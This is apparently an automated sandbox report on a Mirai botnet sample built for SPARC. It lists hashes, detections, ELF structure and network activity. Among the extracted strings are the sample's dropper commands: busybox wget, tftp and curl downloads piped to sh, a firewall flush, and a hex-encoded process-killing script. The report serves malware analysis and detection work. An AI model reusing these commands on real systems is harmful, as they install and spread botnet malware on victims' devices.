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Linux Analysis Report
la.bot.sparc.elf

Overview

General Information

Sample name:la.bot.sparc.elf
Analysis ID:1576988
MD5:c6d1ab0e23d04f293d01664a930774f1
SHA1:b978d7b7a29253574ed700110e94ed62aa7674be
SHA256:39cc5d8b7e87c46af5959e8a842c127a0c94826385022e14db7d1f009e661317
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1576988
Start date and time:2024-12-17 20:22:10 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 33s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.sparc.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0
  • VT rate limit hit for: la.bot.sparc.elf
Command:/tmp/la.bot.sparc.elf
PID:5425
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • la.bot.sparc.elf (PID: 5425, Parent: 5347, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/la.bot.sparc.elf
  • cleanup
SourceRuleDescriptionAuthorStrings
la.bot.sparc.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    5425.1.00007f9dac011000.00007f9dac02b000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: la.bot.sparc.elfReversingLabs: Detection: 26%
      Source: la.bot.sparc.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
      Source: la.bot.sparc.elfString: /proc//cmdline/mapsselfrebootftpwgetmountunmount-shashtftpcurl/bin/login/exe|ash|login|wget|curl|tftp|ntpdate|ftp/proc/mountsr (deleted)/proc/%s/statusPPid:/fdsocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin/
      Source: la.bot.sparc.elfString: /bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
      Source: /tmp/la.bot.sparc.elf (PID: 5425)Socket: 127.0.0.1:1234Jump to behavior
      Source: global trafficTCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443
      Source: unknownTCP traffic detected without corresponding DNS query: 185.125.190.26
      Source: unknownTCP traffic detected without corresponding DNS query: 185.125.190.26
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: la.bot.sparc.elfString found in binary or memory: http:///curl.sh
      Source: la.bot.sparc.elfString found in binary or memory: http:///wget.sh
      Source: unknownNetwork traffic detected: HTTP traffic on port 48202 -> 443
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /procusage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0
      Source: /tmp/la.bot.sparc.elf (PID: 5425)Queries kernel information via 'uname': Jump to behavior
      Source: la.bot.sparc.elf, 5425.1.00007fffdba5f000.00007fffdba80000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-sparc/tmp/la.bot.sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sparc.elf
      Source: la.bot.sparc.elf, 5425.1.0000558be5426000.0000558be548b000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sparc
      Source: la.bot.sparc.elf, 5425.1.0000558be5426000.0000558be548b000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/sparc
      Source: la.bot.sparc.elf, 5425.1.00007fffdba5f000.00007fffdba80000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sparc

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: la.bot.sparc.elf, type: SAMPLE
      Source: Yara matchFile source: 5425.1.00007f9dac011000.00007f9dac02b000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: la.bot.sparc.elf, type: SAMPLE
      Source: Yara matchFile source: 5425.1.00007f9dac011000.00007f9dac02b000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Encrypted Channel
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Non-Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive2
      Application Layer Protocol
      Automated ExfiltrationData Encrypted for Impact
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      SourceDetectionScannerLabelLink
      la.bot.sparc.elf26%ReversingLabsLinux.Trojan.Mirai
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      162.213.35.25
      truefalse
        high
        NameSourceMaliciousAntivirus DetectionReputation
        http:///wget.shla.bot.sparc.elffalse
          high
          http:///curl.shla.bot.sparc.elffalse
            high
            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs
            IPDomainCountryFlagASNASN NameMalicious
            185.125.190.26
            unknownUnited Kingdom
            41231CANONICAL-ASGBfalse
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                                No context
                                No context
                                No created / dropped files found
                                File type:ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
                                Entropy (8bit):6.070411944056891
                                TrID:
                                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                File name:la.bot.sparc.elf
                                File size:105'904 bytes
                                MD5:c6d1ab0e23d04f293d01664a930774f1
                                SHA1:b978d7b7a29253574ed700110e94ed62aa7674be
                                SHA256:39cc5d8b7e87c46af5959e8a842c127a0c94826385022e14db7d1f009e661317
                                SHA512:5cc1c8a3ec79fbe95999d7f96badd26a1004c12f859158a610e3ebda51b17b98440fbd8077612557af6848c15187c1de0ae04f7f36a3b28059f33b335fb35844
                                SSDEEP:1536:QL57IkRgSmku9BzTXjeMqhPQfzH4B+/vyXh45Sq72t6onfWqUjtRmCo+55nA19tl:QL58kRgSMU+X9snyjfRoInQ9FH7Z
                                TLSH:B5A33A2279755A2BC4C856BB21F34731F7F2238624A8DA1F3E721E8EBF6415032176B5
                                File Content Preview:.ELF...........................4... .....4. ...(..........................................................g.........dt.Q................................@..(....@.UY................#.....c...`.....!.....#...@.....".........`......$#...#...@...........`....

                                ELF header

                                Class:ELF32
                                Data:2's complement, big endian
                                Version:1 (current)
                                Machine:Sparc
                                Version Number:0x1
                                Type:EXEC (Executable file)
                                OS/ABI:UNIX - System V
                                ABI Version:0
                                Entry Point Address:0x101a4
                                Flags:0x0
                                ELF Header Size:52
                                Program Header Offset:52
                                Program Header Size:32
                                Number of Program Headers:3
                                Section Header Offset:105504
                                Section Header Size:40
                                Number of Section Headers:10
                                Header String Table Index:9
                                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                NULL0x00x00x00x00x0000
                                .initPROGBITS0x100940x940x1c0x00x6AX004
                                .textPROGBITS0x100b00xb00x1559c0x00x6AX004
                                .finiPROGBITS0x2564c0x1564c0x140x00x6AX004
                                .rodataPROGBITS0x256600x156600x40900x00x2A008
                                .ctorsPROGBITS0x396f40x196f40x80x00x3WA004
                                .dtorsPROGBITS0x396fc0x196fc0x80x00x3WA004
                                .dataPROGBITS0x397080x197080x4d80x00x3WA008
                                .bssNOBITS0x39be00x19be00x62c80x00x3WA008
                                .shstrtabSTRTAB0x00x19be00x3e0x00x0001
                                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                LOAD0x00x100000x100000x196f00x196f06.09240x5R E0x10000.init .text .fini .rodata
                                LOAD0x196f40x396f40x396f40x4ec0x67b43.63330x6RW 0x10000.ctors .dtors .data .bss
                                GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
                                TimestampSource PortDest PortSource IPDest IP
                                Dec 17, 2024 20:23:00.543348074 CET48202443192.168.2.13185.125.190.26
                                Dec 17, 2024 20:23:31.775362015 CET48202443192.168.2.13185.125.190.26
                                TimestampSource PortDest PortSource IPDest IP
                                Dec 17, 2024 20:22:52.518393040 CET4334953192.168.2.131.1.1.1
                                Dec 17, 2024 20:22:52.518457890 CET4654153192.168.2.131.1.1.1
                                Dec 17, 2024 20:22:52.656955957 CET53465411.1.1.1192.168.2.13
                                Dec 17, 2024 20:22:52.742839098 CET53433491.1.1.1192.168.2.13
                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                Dec 17, 2024 20:22:52.518393040 CET192.168.2.131.1.1.10x4cfStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                                Dec 17, 2024 20:22:52.518457890 CET192.168.2.131.1.1.10x60f9Standard query (0)daisy.ubuntu.com28IN (0x0001)false
                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                Dec 17, 2024 20:22:52.742839098 CET1.1.1.1192.168.2.130x4cfNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
                                Dec 17, 2024 20:22:52.742839098 CET1.1.1.1192.168.2.130x4cfNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

                                System Behavior

                                Start time (UTC):19:22:50
                                Start date (UTC):17/12/2024
                                Path:/tmp/la.bot.sparc.elf
                                Arguments:/tmp/la.bot.sparc.elf
                                File size:4379400 bytes
                                MD5 hash:7dc1c0e23cd5e102bb12e5c29403410e